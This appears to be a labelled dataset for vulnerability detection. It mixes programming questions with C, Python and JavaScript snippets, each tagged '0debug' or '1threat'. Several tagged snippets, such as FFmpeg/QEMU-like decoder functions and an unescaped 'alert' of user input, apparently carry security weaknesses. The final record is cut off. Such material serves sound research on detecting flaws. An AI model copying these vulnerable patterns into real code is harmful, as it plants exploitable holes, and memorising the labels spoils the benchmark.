> med_horaria_plot
dat1 mean_hour
1 2017-07-14 18:00:00 132
2 2017-07-14 19:00:00 134
3 2017-07-14 20:00:00 432
4 2017-07-14 21:00:00 233
5 2017-07-14 22:00:00 564
6 2017-07-14 23:00:00 345
> class(med_horaria_plot[,1])
[1] "factor"
> class(med_horaria_plot[,2])
[1] "numeric"
> class(med_horaria_plot)
[1] "data.frame"
In fact, in my database this data.frame is much larger.
Whey I plot in ggplot the dates on the x-axis are all superimposed
How can I change a type os a columns of this data.frame for ggplot understanding this like a datatype and then choose the hours I want on the plot in order to avoid overlaps
| 0debug
|
Disable service workers when in development mode. : <p>In case of our development, we serve files from <a href="https://localhost" rel="noreferrer">https://localhost</a> as the app is hosted in salesforce.com. In chrome service worker on chrome blocks anything coming from self-signed server i.e (<a href="https://localhost" rel="noreferrer">https://localhost</a>).</p>
<p>So is there a way to disable/unregister service workers when in development mode. Any pattern to follow for this. </p>
<p>Thanks </p>
| 0debug
|
Make form back color = textbox input : <p>I have a textbox, i want the user to be able to type like a color code or something in the textbox and the form back color to change to the specific color the user typed.
Help?</p>
| 0debug
|
static int encode_superframe(AVCodecContext *avctx,
unsigned char *buf, int buf_size, void *data){
WMACodecContext *s = avctx->priv_data;
const short *samples = data;
int i, total_gain;
s->block_len_bits= s->frame_len_bits;
s->block_len = 1 << s->block_len_bits;
apply_window_and_mdct(avctx, samples, avctx->frame_size);
if (s->ms_stereo) {
float a, b;
int i;
for(i = 0; i < s->block_len; i++) {
a = s->coefs[0][i]*0.5;
b = s->coefs[1][i]*0.5;
s->coefs[0][i] = a + b;
s->coefs[1][i] = a - b;
}
}
if (buf_size < 2 * MAX_CODED_SUPERFRAME_SIZE) {
av_log(avctx, AV_LOG_ERROR, "output buffer size is too small\n");
return AVERROR(EINVAL);
}
#if 1
total_gain= 128;
for(i=64; i; i>>=1){
int error= encode_frame(s, s->coefs, buf, buf_size, total_gain-i);
if(error<0)
total_gain-= i;
}
#else
total_gain= 90;
best= encode_frame(s, s->coefs, buf, buf_size, total_gain);
for(i=32; i; i>>=1){
int scoreL= encode_frame(s, s->coefs, buf, buf_size, total_gain-i);
int scoreR= encode_frame(s, s->coefs, buf, buf_size, total_gain+i);
av_log(NULL, AV_LOG_ERROR, "%d %d %d (%d)\n", scoreL, best, scoreR, total_gain);
if(scoreL < FFMIN(best, scoreR)){
best = scoreL;
total_gain -= i;
}else if(scoreR < best){
best = scoreR;
total_gain += i;
}
}
#endif
if ((i = encode_frame(s, s->coefs, buf, buf_size, total_gain)) >= 0) {
av_log(avctx, AV_LOG_ERROR, "required frame size too large. please "
"use a higher bit rate.\n");
return AVERROR(EINVAL);
}
assert((put_bits_count(&s->pb) & 7) == 0);
while (i++)
put_bits(&s->pb, 8, 'N');
flush_put_bits(&s->pb);
return s->block_align;
}
| 1threat
|
void cpu_interrupt(CPUState *s)
{
s->interrupt_request = 1;
}
| 1threat
|
I am not sure why JS is acting so weird on this. Function name type error : [This works perfectly fine][1]
[Function for the above example][2]
[This produce a type error][3]
[Function for the above example][4]
[Error message][5]
Both of these method is the same except for the underscore on the function name. Is someone out there kindly tell me what is the error. Thanks !
[1]: https://i.stack.imgur.com/yAceq.png
[2]: https://i.stack.imgur.com/Wb6sX.png
[3]: https://i.stack.imgur.com/4Ix8w.png
[4]: https://i.stack.imgur.com/3q0f4.png
[5]: https://i.stack.imgur.com/uyt92.png
| 0debug
|
def nth_nums(nums,n):
nth_nums = list(map(lambda x: x ** n, nums))
return nth_nums
| 0debug
|
How to change the font size in colaboratory (colab research)? : <p>I am finding the font size in colaboratory (colab research) too small. Is there a way to change the font size for code editor? I tried the "Preferences" but don't see an option for font size.</p>
| 0debug
|
Run services as separate users at the same time - Ubuntu Server - Minecraft/OpenVPN : <p>I'm running an OpenVPN server on Ubuntu Server as user <code>fredrik</code>. I want to install a Minecraft server on the same machine and according to this tutorial:
<a href="https://www.linode.com/docs/game-servers/how-to-set-up-minecraft-server-on-ubuntu-or-debian/" rel="nofollow noreferrer">How to set up Minecraft Server</a>,
I need to create a user called <code>minecraft</code>.</p>
<p>I would presume that this is not necessary and that I can run the Minecraft server as <code>fredrik</code>, but, it might be nice to have those separated into two accounts? </p>
<p><strong>I wanted to check if I can, in fact, run a Minecraft server and an OpenVPN server on the same machine? And if I can/need/should create a second user?</strong></p>
<p>Thank you for your input! </p>
| 0debug
|
alert('Hello ' + user_input);
| 1threat
|
I am very new to GNUplot. please help me : I have a file with three columns. All three have different values. To plot it in a smooth surface with a color gradient for third column what should I do?
the data file is look like follows:
1431.564087 -556.7048268 -14.09538931
1445.544205 -562.1413974 0
1445.544205 -562.1413974 -6.577848346
1452.06826 -564.6784636 6.577848346
1445.544205 -562.1413974 -6.577848346
1452.06826 -564.6784636 9.396926208
1442.748182 -561.0540833 -1.879385242
1444.612197 -561.7789593 11.27631145
1433.428103 -557.4297029 -4.698463104
1438.088142 -559.2418931 4.698463104
1433.428103 -557.4297029 0
1433.428103 -557.4297029 0.939692621
1432.496095 -557.0672648 -0.939692621
1433.428103 -557.4297029 0
1433.428103 -557.4297029 -2.819077862
1436.224127 -558.517017 -1.879385242
1438.088142 -559.2418931 0
1438.088142 -559.2418931 0
1438.088142 -559.2418931 0
1438.088142 -559.2418931 6.577848346
| 0debug
|
What is the differenect between spring cloud and spring cloud Netflix? : <p>Could somebody explain what the difference between spring cloud and spring cloud netflix? I am just starting to learn and the difference is not very clear for me. The spring cloud is an "interface" (or standart or base implenetation) and Netflix is another "implementation"? Or netflix provide something different things? (what exactly?)</p>
<p>Also Netflix is private company - is there any restriction about using they components? Is spring cloud netflix free?</p>
| 0debug
|
Router beforeEach guard executed before state loaded in Vue created() : <p>If I navigate <em>directly</em> to an admin guarded route, <code>http://127.0.0.1:8000/dashboard/</code>, the navigation is always rejected because the state hasn't yet loaded at the time the router guard is checked.</p>
<p><code>beforeEach</code> is being executed before Vue <code>created</code> and thus the currently logged in user isn't recognized.</p>
<p>How do I get around this chicken and egg issue?</p>
<p><em>files below truncated for relevancy</em></p>
<h2>main.js</h2>
<pre><code>router.beforeEach((to, from, next) => {
//
// This is executed before the Vue created() method, and thus store getter always fails initially for admin guarded routes
//
// The following getter checks if the state's current role is allowed
const allowed = store.getters[`acl/${to.meta.guard}`]
if (!allowed) {
return next(to.meta.fail)
}
next()
})
const app = new Vue({
router,
store,
el: "#app",
created() {
// state loaded from localStorage if available
this.$store.dispatch("auth/load")
},
render: h => h(App)
})
</code></pre>
<h2>router.js</h2>
<pre><code>export default new VueRouter({
mode: 'history',
routes: [
{
path: '/',
name: 'home',
component: () => import('../components/Home.vue'),
meta: {
guard: "isAny",
},
},
{
path: '/dashboard/',
name: 'dashboard',
component: () => import('../components/Dashboard.vue'),
meta: {
guard: "isAdmin",
},
},
],
})
</code></pre>
| 0debug
|
static int read_access_unit(AVCodecContext *avctx, void* data, int *data_size,
AVPacket *avpkt)
{
const uint8_t *buf = avpkt->data;
int buf_size = avpkt->size;
MLPDecodeContext *m = avctx->priv_data;
GetBitContext gb;
unsigned int length, substr;
unsigned int substream_start;
unsigned int header_size = 4;
unsigned int substr_header_size = 0;
uint8_t substream_parity_present[MAX_SUBSTREAMS];
uint16_t substream_data_len[MAX_SUBSTREAMS];
uint8_t parity_bits;
if (buf_size < 4)
return 0;
length = (AV_RB16(buf) & 0xfff) * 2;
if (length > buf_size)
return -1;
init_get_bits(&gb, (buf + 4), (length - 4) * 8);
m->is_major_sync_unit = 0;
if (show_bits_long(&gb, 31) == (0xf8726fba >> 1)) {
if (read_major_sync(m, &gb) < 0)
goto error;
m->is_major_sync_unit = 1;
header_size += 28;
}
if (!m->params_valid) {
av_log(m->avctx, AV_LOG_WARNING,
"Stream parameters not seen; skipping frame.\n");
*data_size = 0;
return length;
}
substream_start = 0;
for (substr = 0; substr < m->num_substreams; substr++) {
int extraword_present, checkdata_present, end, nonrestart_substr;
extraword_present = get_bits1(&gb);
nonrestart_substr = get_bits1(&gb);
checkdata_present = get_bits1(&gb);
skip_bits1(&gb);
end = get_bits(&gb, 12) * 2;
substr_header_size += 2;
if (extraword_present) {
if (m->avctx->codec_id == CODEC_ID_MLP) {
av_log(m->avctx, AV_LOG_ERROR, "There must be no extraword for MLP.\n");
goto error;
}
skip_bits(&gb, 16);
substr_header_size += 2;
}
if (!(nonrestart_substr ^ m->is_major_sync_unit)) {
av_log(m->avctx, AV_LOG_ERROR, "Invalid nonrestart_substr.\n");
goto error;
}
if (end + header_size + substr_header_size > length) {
av_log(m->avctx, AV_LOG_ERROR,
"Indicated length of substream %d data goes off end of "
"packet.\n", substr);
end = length - header_size - substr_header_size;
}
if (end < substream_start) {
av_log(avctx, AV_LOG_ERROR,
"Indicated end offset of substream %d data "
"is smaller than calculated start offset.\n",
substr);
goto error;
}
if (substr > m->max_decoded_substream)
continue;
substream_parity_present[substr] = checkdata_present;
substream_data_len[substr] = end - substream_start;
substream_start = end;
}
parity_bits = ff_mlp_calculate_parity(buf, 4);
parity_bits ^= ff_mlp_calculate_parity(buf + header_size, substr_header_size);
if ((((parity_bits >> 4) ^ parity_bits) & 0xF) != 0xF) {
av_log(avctx, AV_LOG_ERROR, "Parity check failed.\n");
goto error;
}
buf += header_size + substr_header_size;
for (substr = 0; substr <= m->max_decoded_substream; substr++) {
SubStream *s = &m->substream[substr];
init_get_bits(&gb, buf, substream_data_len[substr] * 8);
m->matrix_changed = 0;
memset(m->filter_changed, 0, sizeof(m->filter_changed));
s->blockpos = 0;
do {
unsigned int ch;
if (get_bits1(&gb)) {
if (get_bits1(&gb)) {
if (read_restart_header(m, &gb, buf, substr) < 0)
goto next_substr;
s->restart_seen = 1;
}
if (!s->restart_seen) {
goto next_substr;
}
if (read_decoding_params(m, &gb, substr) < 0)
goto next_substr;
}
if (m->matrix_changed > 1) {
av_log(m->avctx, AV_LOG_ERROR, "Matrices may change only once per access unit.\n");
goto next_substr;
}
for (ch = 0; ch < s->max_channel; ch++)
if (m->filter_changed[ch][FIR] > 1 ||
m->filter_changed[ch][IIR] > 1) {
av_log(m->avctx, AV_LOG_ERROR, "Filters may change only once per access unit.\n");
goto next_substr;
}
if (!s->restart_seen) {
goto next_substr;
}
if (read_block_data(m, &gb, substr) < 0)
return -1;
if (get_bits_count(&gb) >= substream_data_len[substr] * 8)
goto substream_length_mismatch;
} while (!get_bits1(&gb));
skip_bits(&gb, (-get_bits_count(&gb)) & 15);
if (substream_data_len[substr] * 8 - get_bits_count(&gb) >= 32) {
int shorten_by;
if (get_bits(&gb, 16) != 0xD234)
return -1;
shorten_by = get_bits(&gb, 16);
if (m->avctx->codec_id == CODEC_ID_TRUEHD && shorten_by & 0x2000)
s->blockpos -= FFMIN(shorten_by & 0x1FFF, s->blockpos);
else if (m->avctx->codec_id == CODEC_ID_MLP && shorten_by != 0xD234)
return -1;
if (substr == m->max_decoded_substream)
av_log(m->avctx, AV_LOG_INFO, "End of stream indicated.\n");
}
if (substream_parity_present[substr]) {
uint8_t parity, checksum;
if (substream_data_len[substr] * 8 - get_bits_count(&gb) != 16)
goto substream_length_mismatch;
parity = ff_mlp_calculate_parity(buf, substream_data_len[substr] - 2);
checksum = ff_mlp_checksum8 (buf, substream_data_len[substr] - 2);
if ((get_bits(&gb, 8) ^ parity) != 0xa9 )
av_log(m->avctx, AV_LOG_ERROR, "Substream %d parity check failed.\n", substr);
if ( get_bits(&gb, 8) != checksum)
av_log(m->avctx, AV_LOG_ERROR, "Substream %d checksum failed.\n" , substr);
}
if (substream_data_len[substr] * 8 != get_bits_count(&gb)) {
goto substream_length_mismatch;
}
next_substr:
if (!s->restart_seen) {
av_log(m->avctx, AV_LOG_ERROR,
"No restart header present in substream %d.\n", substr);
}
buf += substream_data_len[substr];
}
rematrix_channels(m, m->max_decoded_substream);
if (output_data(m, m->max_decoded_substream, data, data_size) < 0)
return -1;
return length;
substream_length_mismatch:
av_log(m->avctx, AV_LOG_ERROR, "substream %d length mismatch\n", substr);
return -1;
error:
m->params_valid = 0;
return -1;
}
| 1threat
|
Vanilla Javascript - Passing values from one input field to another : I'm trying to pass a value from one input field, to another input field, with vanilla javascript.
This is the HTML I use:
<input type="text" id="input1">
<input type="text" id="input2">
When I try to pass it to a paragraph it works, but passing it to a new input field it won't.
Hope you can help me!
Thanks!
| 0debug
|
static void vhost_scsi_realize(DeviceState *dev, Error **errp)
{
VirtIOSCSICommon *vs = VIRTIO_SCSI_COMMON(dev);
VHostSCSI *s = VHOST_SCSI(dev);
Error *err = NULL;
int vhostfd = -1;
int ret;
if (!vs->conf.wwpn) {
error_setg(errp, "vhost-scsi: missing wwpn");
return;
}
if (vs->conf.vhostfd) {
vhostfd = monitor_handle_fd_param(cur_mon, vs->conf.vhostfd);
if (vhostfd == -1) {
error_setg(errp, "vhost-scsi: unable to parse vhostfd");
return;
}
} else {
vhostfd = open("/dev/vhost-scsi", O_RDWR);
if (vhostfd < 0) {
error_setg(errp, "vhost-scsi: open vhost char device failed: %s",
strerror(errno));
return;
}
}
virtio_scsi_common_realize(dev, &err, vhost_dummy_handle_output,
vhost_dummy_handle_output,
vhost_dummy_handle_output);
if (err != NULL) {
error_propagate(errp, err);
return;
}
s->dev.nvqs = VHOST_SCSI_VQ_NUM_FIXED + vs->conf.num_queues;
s->dev.vqs = g_new(struct vhost_virtqueue, s->dev.nvqs);
s->dev.vq_index = 0;
s->dev.backend_features = 0;
ret = vhost_dev_init(&s->dev, (void *)(uintptr_t)vhostfd,
VHOST_BACKEND_TYPE_KERNEL, true);
if (ret < 0) {
error_setg(errp, "vhost-scsi: vhost initialization failed: %s",
strerror(-ret));
return;
}
error_setg(&s->migration_blocker,
"vhost-scsi does not support migration");
migrate_add_blocker(s->migration_blocker);
}
| 1threat
|
pp_mode *pp_get_mode_by_name_and_quality(const char *name, int quality)
{
char temp[GET_MODE_BUFFER_SIZE];
char *p= temp;
static const char filterDelimiters[] = ",/";
static const char optionDelimiters[] = ":|";
struct PPMode *ppMode;
char *filterToken;
if (!name) {
av_log(NULL, AV_LOG_ERROR, "pp: Missing argument\n");
return NULL;
if (!strcmp(name, "help")) {
const char *p;
for (p = pp_help; strchr(p, '\n'); p = strchr(p, '\n') + 1) {
av_strlcpy(temp, p, FFMIN(sizeof(temp), strchr(p, '\n') - p + 2));
av_log(NULL, AV_LOG_INFO, "%s", temp);
return NULL;
ppMode= av_malloc(sizeof(PPMode));
ppMode->lumMode= 0;
ppMode->chromMode= 0;
ppMode->maxTmpNoise[0]= 700;
ppMode->maxTmpNoise[1]= 1500;
ppMode->maxTmpNoise[2]= 3000;
ppMode->maxAllowedY= 234;
ppMode->minAllowedY= 16;
ppMode->baseDcDiff= 256/8;
ppMode->flatnessThreshold= 56-16-1;
ppMode->maxClippedThreshold= 0.01;
ppMode->error=0;
memset(temp, 0, GET_MODE_BUFFER_SIZE);
av_strlcpy(temp, name, GET_MODE_BUFFER_SIZE - 1);
av_log(NULL, AV_LOG_DEBUG, "pp: %s\n", name);
for(;;){
char *filterName;
int q= 1000000;
int chrom=-1;
int luma=-1;
char *option;
char *options[OPTIONS_ARRAY_SIZE];
int i;
int filterNameOk=0;
int numOfUnknownOptions=0;
int enable=1;
filterToken= strtok(p, filterDelimiters);
if(filterToken == NULL) break;
p+= strlen(filterToken) + 1;
filterName= strtok(filterToken, optionDelimiters);
av_log(NULL, AV_LOG_DEBUG, "pp: %s::%s\n", filterToken, filterName);
if(*filterName == '-'){
enable=0;
filterName++;
for(;;){
option= strtok(NULL, optionDelimiters);
if(option == NULL) break;
av_log(NULL, AV_LOG_DEBUG, "pp: option: %s\n", option);
if(!strcmp("autoq", option) || !strcmp("a", option)) q= quality;
else if(!strcmp("nochrom", option) || !strcmp("y", option)) chrom=0;
else if(!strcmp("chrom", option) || !strcmp("c", option)) chrom=1;
else if(!strcmp("noluma", option) || !strcmp("n", option)) luma=0;
else{
options[numOfUnknownOptions] = option;
numOfUnknownOptions++;
if(numOfUnknownOptions >= OPTIONS_ARRAY_SIZE-1) break;
options[numOfUnknownOptions] = NULL;
for(i=0; replaceTable[2*i]!=NULL; i++){
if(!strcmp(replaceTable[2*i], filterName)){
int newlen= strlen(replaceTable[2*i + 1]);
int plen;
int spaceLeft;
p--, *p=',';
plen= strlen(p);
spaceLeft= p - temp + plen;
if(spaceLeft + newlen >= GET_MODE_BUFFER_SIZE - 1){
memmove(p + newlen, p, plen+1);
memcpy(p, replaceTable[2*i + 1], newlen);
filterNameOk=1;
for(i=0; filters[i].shortName!=NULL; i++){
if( !strcmp(filters[i].longName, filterName)
|| !strcmp(filters[i].shortName, filterName)){
ppMode->lumMode &= ~filters[i].mask;
ppMode->chromMode &= ~filters[i].mask;
filterNameOk=1;
if(!enable) break;
if(q >= filters[i].minLumQuality && luma)
ppMode->lumMode|= filters[i].mask;
if(chrom==1 || (chrom==-1 && filters[i].chromDefault))
if(q >= filters[i].minChromQuality)
ppMode->chromMode|= filters[i].mask;
if(filters[i].mask == LEVEL_FIX){
int o;
ppMode->minAllowedY= 16;
ppMode->maxAllowedY= 234;
for(o=0; options[o]!=NULL; o++){
if( !strcmp(options[o],"fullyrange")
||!strcmp(options[o],"f")){
ppMode->minAllowedY= 0;
ppMode->maxAllowedY= 255;
numOfUnknownOptions--;
else if(filters[i].mask == TEMP_NOISE_FILTER)
{
int o;
int numOfNoises=0;
for(o=0; options[o]!=NULL; o++){
char *tail;
ppMode->maxTmpNoise[numOfNoises]=
strtol(options[o], &tail, 0);
if(tail!=options[o]){
numOfNoises++;
numOfUnknownOptions--;
if(numOfNoises >= 3) break;
else if(filters[i].mask == V_DEBLOCK || filters[i].mask == H_DEBLOCK
|| filters[i].mask == V_A_DEBLOCK || filters[i].mask == H_A_DEBLOCK){
int o;
for(o=0; options[o]!=NULL && o<2; o++){
char *tail;
int val= strtol(options[o], &tail, 0);
if(tail==options[o]) break;
numOfUnknownOptions--;
if(o==0) ppMode->baseDcDiff= val;
else ppMode->flatnessThreshold= val;
else if(filters[i].mask == FORCE_QUANT){
int o;
ppMode->forcedQuant= 15;
for(o=0; options[o]!=NULL && o<1; o++){
char *tail;
int val= strtol(options[o], &tail, 0);
if(tail==options[o]) break;
numOfUnknownOptions--;
ppMode->forcedQuant= val;
if(!filterNameOk) ppMode->error++;
ppMode->error += numOfUnknownOptions;
av_log(NULL, AV_LOG_DEBUG, "pp: lumMode=%X, chromMode=%X\n", ppMode->lumMode, ppMode->chromMode);
if(ppMode->error){
av_log(NULL, AV_LOG_ERROR, "%d errors in postprocess string \"%s\"\n", ppMode->error, name);
av_free(ppMode);
return NULL;
return ppMode;
| 1threat
|
static ssize_t handle_aiocb_rw(RawPosixAIOData *aiocb)
{
ssize_t nbytes;
char *buf;
if (!(aiocb->aio_type & QEMU_AIO_MISALIGNED)) {
if (aiocb->aio_niov == 1) {
return handle_aiocb_rw_linear(aiocb, aiocb->aio_iov->iov_base);
}
if (preadv_present) {
nbytes = handle_aiocb_rw_vector(aiocb);
if (nbytes == aiocb->aio_nbytes ||
(nbytes < 0 && nbytes != -ENOSYS)) {
return nbytes;
}
preadv_present = false;
}
}
buf = qemu_blockalign(aiocb->bs, aiocb->aio_nbytes);
if (aiocb->aio_type & QEMU_AIO_WRITE) {
char *p = buf;
int i;
for (i = 0; i < aiocb->aio_niov; ++i) {
memcpy(p, aiocb->aio_iov[i].iov_base, aiocb->aio_iov[i].iov_len);
p += aiocb->aio_iov[i].iov_len;
}
assert(p - buf == aiocb->aio_nbytes);
}
nbytes = handle_aiocb_rw_linear(aiocb, buf);
if (!(aiocb->aio_type & QEMU_AIO_WRITE)) {
char *p = buf;
size_t count = aiocb->aio_nbytes, copy;
int i;
for (i = 0; i < aiocb->aio_niov && count; ++i) {
copy = count;
if (copy > aiocb->aio_iov[i].iov_len) {
copy = aiocb->aio_iov[i].iov_len;
}
memcpy(aiocb->aio_iov[i].iov_base, p, copy);
assert(count >= copy);
p += copy;
count -= copy;
}
assert(count == 0);
}
qemu_vfree(buf);
return nbytes;
}
| 1threat
|
c# cannot implicitly convet type string [] to string : i tried to split the answer from the question in my quiz generator, here is my code
string test = questions = objReader.ReadLine().Split('?');
questions[qCounter] = questions[0];
answers[qCounter] = questions[1];
qCounter++;
| 0debug
|
static int ppc_hash32_pte_update_flags(struct mmu_ctx_hash32 *ctx, target_ulong *pte1p,
int ret, int rwx)
{
int store = 0;
if (!(*pte1p & HPTE32_R_R)) {
*pte1p |= HPTE32_R_R;
store = 1;
}
if (!(*pte1p & HPTE32_R_C)) {
if (rwx == 1 && ret == 0) {
*pte1p |= HPTE32_R_C;
store = 1;
} else {
ctx->prot &= ~PAGE_WRITE;
}
}
return store;
}
| 1threat
|
static int mov_write_tkhd_tag(ByteIOContext *pb, MOVTrack* track)
{
int64_t maxTrackLenTemp;
put_be32(pb, 0x5c);
put_tag(pb, "tkhd");
put_be32(pb, 0xf);
put_be32(pb, track->time);
put_be32(pb, track->time);
put_be32(pb, track->trackID);
put_be32(pb, 0);
maxTrackLenTemp = ((int64_t)globalTimescale*(int64_t)track->trackDuration)/(int64_t)track->timescale;
put_be32(pb, (long)maxTrackLenTemp);
put_be32(pb, 0);
put_be32(pb, 0);
put_be32(pb, 0x0);
if(track->enc->codec_type == CODEC_TYPE_AUDIO)
put_be16(pb, 0x0100);
else
put_be16(pb, 0);
put_be16(pb, 0);
put_be32(pb, 0x00010000);
put_be32(pb, 0x0);
put_be32(pb, 0x0);
put_be32(pb, 0x0);
put_be32(pb, 0x00010000);
put_be32(pb, 0x0);
put_be32(pb, 0x0);
put_be32(pb, 0x0);
put_be32(pb, 0x40000000);
if(track->enc->codec_type == CODEC_TYPE_VIDEO) {
put_be32(pb, track->enc->width*0x10000);
put_be32(pb, track->enc->height*0x10000);
}
else {
put_be32(pb, 0);
put_be32(pb, 0);
}
return 0x5c;
}
| 1threat
|
Exclude/overwrite npm-provided typings : <p>I've got an npm package with badly written, out of date typings. I've written my own typings and now I'm wondering if I can somehow exclude the original typings from the npm package. It's not a simple extension of interfaces, the originals are basically garbage at this point.</p>
<p>Using the exclude list in tsconfig.json does not work for this purpose of course, since it still loads files from node_modules even if you exclude that folder.</p>
| 0debug
|
Wants the navigation menus when click on parent menus no display when hover : I am currently designing the website. I would like to display the navigation menus dropdown when click on parent menu not when hover the parent menu. I am using bootstrap navigation menu. Can you please help me in doing this?
| 0debug
|
mst_fpga_writeb(void *opaque, target_phys_addr_t addr, uint32_t value)
{
mst_irq_state *s = (mst_irq_state *) opaque;
value &= 0xffffffff;
switch (addr) {
case MST_LEDDAT1:
s->leddat1 = value;
break;
case MST_LEDDAT2:
s->leddat2 = value;
break;
case MST_LEDCTRL:
s->ledctrl = value;
break;
case MST_GPSWR:
s->gpswr = value;
break;
case MST_MSCWR1:
s->mscwr1 = value;
break;
case MST_MSCWR2:
s->mscwr2 = value;
break;
case MST_MSCWR3:
s->mscwr3 = value;
break;
case MST_MSCRD:
s->mscrd = value;
break;
case MST_INTMSKENA:
s->intmskena = (value & 0xFEEFF);
qemu_set_irq(s->parent, s->intsetclr & s->intmskena);
break;
case MST_INTSETCLR:
s->intsetclr = (value & 0xFEEFF);
qemu_set_irq(s->parent, s->intsetclr & s->intmskena);
break;
case MST_PCMCIA0:
s->pcmcia0 = (value & 0x1f) | (s->pcmcia0 & ~0x1f);
break;
case MST_PCMCIA1:
s->pcmcia1 = (value & 0x1f) | (s->pcmcia1 & ~0x1f);
break;
default:
printf("Mainstone - mst_fpga_writeb: Bad register offset "
"0x" TARGET_FMT_plx " \n", addr);
}
}
| 1threat
|
Instagram bans access to its API : <p>Does anybody know about the latest Instagram news:
"Starting 10/1/2017, all permissions other than the basic permission will be unavailable to submit for or obtain." </p>
<p>What is truth to this? If we submit before, are they going to still check the submission? Do they plan to ban old approved API accesses too?</p>
<p>If anybody made it find a bit of info about this I would be very grateful. The news is kinda surprising and concerning with no explanation involved.</p>
<p>Thank you!</p>
<p><a href="https://i.stack.imgur.com/96xlL.png" rel="noreferrer"><img src="https://i.stack.imgur.com/96xlL.png" alt="enter image description here"></a></p>
| 0debug
|
static int filter_packet(void *log_ctx, AVPacket *pkt,
AVFormatContext *fmt_ctx, AVBitStreamFilterContext *bsf_ctx)
{
AVCodecContext *enc_ctx = fmt_ctx->streams[pkt->stream_index]->codec;
int ret = 0;
while (bsf_ctx) {
AVPacket new_pkt = *pkt;
ret = av_bitstream_filter_filter(bsf_ctx, enc_ctx, NULL,
&new_pkt.data, &new_pkt.size,
pkt->data, pkt->size,
pkt->flags & AV_PKT_FLAG_KEY);
if (ret == 0 && new_pkt.data != pkt->data && new_pkt.destruct) {
if ((ret = av_copy_packet(&new_pkt, pkt)) < 0)
break;
ret = 1;
}
if (ret > 0) {
av_free_packet(pkt);
new_pkt.buf = av_buffer_create(new_pkt.data, new_pkt.size,
av_buffer_default_free, NULL, 0);
if (!new_pkt.buf)
break;
}
if (ret < 0) {
av_log(log_ctx, AV_LOG_ERROR,
"Failed to filter bitstream with filter %s for stream %d in file '%s' with codec %s\n",
bsf_ctx->filter->name, pkt->stream_index, fmt_ctx->filename,
avcodec_get_name(enc_ctx->codec_id));
}
*pkt = new_pkt;
bsf_ctx = bsf_ctx->next;
}
return ret;
}
| 1threat
|
JAVA - How do i compile this specific GitHub? I've tried, but failed : I've tried for few hours.. and failed. i can't seem to get it to work. ( in NetBeans)
I've added libraries that creator pointed out, source and nbproject - I get errors.
Can someone tell me what to do step by step? Thank you in advance.
**LINK TO GITHUB:** https://github.com/lucidexploration/JonBot-NG
| 0debug
|
Inform rabbitmq queue subscriber when a wcf method is called : <p>We have a Windows service that hosts a <strong>WCF interface</strong> <em>(ServiceHost)</em>. This service offers e.g. a method AddProduct. Now, if no errors or other unforeseen things happen, a message should be delivered via <strong>RabbitMq</strong> <em>(Pub/Sub)</em> that a new product has been added. Other services should then consume this message and process it for their own.</p>
<p>I'm quite new in the <strong>RabbitMq</strong> world so the question is, what is the best way to do this with view to the fact that this should run in the same service. </p>
<p>Are there any frameworks for this? Is <strong>RabbitMq</strong> suitable for this or is it recommended to use another Message Broker?</p>
| 0debug
|
Build a site wordpress or ftp : <p>I want to build a website but I don't have a domain (I will get one soon) and a host so I'm confussed how can a website be built because I don't want it to make it wrong from the beginning. I can make it static (notepad++) and then publish it into my domain using ftp or create it using wordpress locally (make a server on my computer) and then publish on my domain. So if I want to update my site made in notepad++ can I use wordpress? And if I use wordpress do I need to use ftp anymore? My website will be like a blog with different articles so I will update it regularly. I know enough HTML and CSS for building my site and never published a website before so i don't know the correct steps.
I accept any advice thanks.</p>
| 0debug
|
static DriveInfo *blockdev_init(const char *file, QDict *bs_opts,
BlockInterfaceType type,
Error **errp)
{
const char *buf;
const char *serial;
int ro = 0;
int bdrv_flags = 0;
int on_read_error, on_write_error;
DriveInfo *dinfo;
ThrottleConfig cfg;
int snapshot = 0;
bool copy_on_read;
int ret;
Error *error = NULL;
QemuOpts *opts;
const char *id;
bool has_driver_specific_opts;
BlockDriver *drv = NULL;
id = qdict_get_try_str(bs_opts, "id");
opts = qemu_opts_create(&qemu_common_drive_opts, id, 1, &error);
if (error_is_set(&error)) {
error_propagate(errp, error);
return NULL;
}
qemu_opts_absorb_qdict(opts, bs_opts, &error);
if (error_is_set(&error)) {
error_propagate(errp, error);
goto early_err;
}
if (id) {
qdict_del(bs_opts, "id");
}
has_driver_specific_opts = !!qdict_size(bs_opts);
snapshot = qemu_opt_get_bool(opts, "snapshot", 0);
ro = qemu_opt_get_bool(opts, "read-only", 0);
copy_on_read = qemu_opt_get_bool(opts, "copy-on-read", false);
serial = qemu_opt_get(opts, "serial");
if ((buf = qemu_opt_get(opts, "discard")) != NULL) {
if (bdrv_parse_discard_flags(buf, &bdrv_flags) != 0) {
error_setg(errp, "invalid discard option");
goto early_err;
}
}
if (qemu_opt_get_bool(opts, "cache.writeback", true)) {
bdrv_flags |= BDRV_O_CACHE_WB;
}
if (qemu_opt_get_bool(opts, "cache.direct", false)) {
bdrv_flags |= BDRV_O_NOCACHE;
}
if (qemu_opt_get_bool(opts, "cache.no-flush", false)) {
bdrv_flags |= BDRV_O_NO_FLUSH;
}
#ifdef CONFIG_LINUX_AIO
if ((buf = qemu_opt_get(opts, "aio")) != NULL) {
if (!strcmp(buf, "native")) {
bdrv_flags |= BDRV_O_NATIVE_AIO;
} else if (!strcmp(buf, "threads")) {
} else {
error_setg(errp, "invalid aio option");
goto early_err;
}
}
#endif
if ((buf = qemu_opt_get(opts, "format")) != NULL) {
if (is_help_option(buf)) {
error_printf("Supported formats:");
bdrv_iterate_format(bdrv_format_print, NULL);
error_printf("\n");
goto early_err;
}
drv = bdrv_find_format(buf);
if (!drv) {
error_setg(errp, "'%s' invalid format", buf);
goto early_err;
}
}
memset(&cfg, 0, sizeof(cfg));
cfg.buckets[THROTTLE_BPS_TOTAL].avg =
qemu_opt_get_number(opts, "throttling.bps-total", 0);
cfg.buckets[THROTTLE_BPS_READ].avg =
qemu_opt_get_number(opts, "throttling.bps-read", 0);
cfg.buckets[THROTTLE_BPS_WRITE].avg =
qemu_opt_get_number(opts, "throttling.bps-write", 0);
cfg.buckets[THROTTLE_OPS_TOTAL].avg =
qemu_opt_get_number(opts, "throttling.iops-total", 0);
cfg.buckets[THROTTLE_OPS_READ].avg =
qemu_opt_get_number(opts, "throttling.iops-read", 0);
cfg.buckets[THROTTLE_OPS_WRITE].avg =
qemu_opt_get_number(opts, "throttling.iops-write", 0);
cfg.buckets[THROTTLE_BPS_TOTAL].max =
qemu_opt_get_number(opts, "throttling.bps-total-max", 0);
cfg.buckets[THROTTLE_BPS_READ].max =
qemu_opt_get_number(opts, "throttling.bps-read-max", 0);
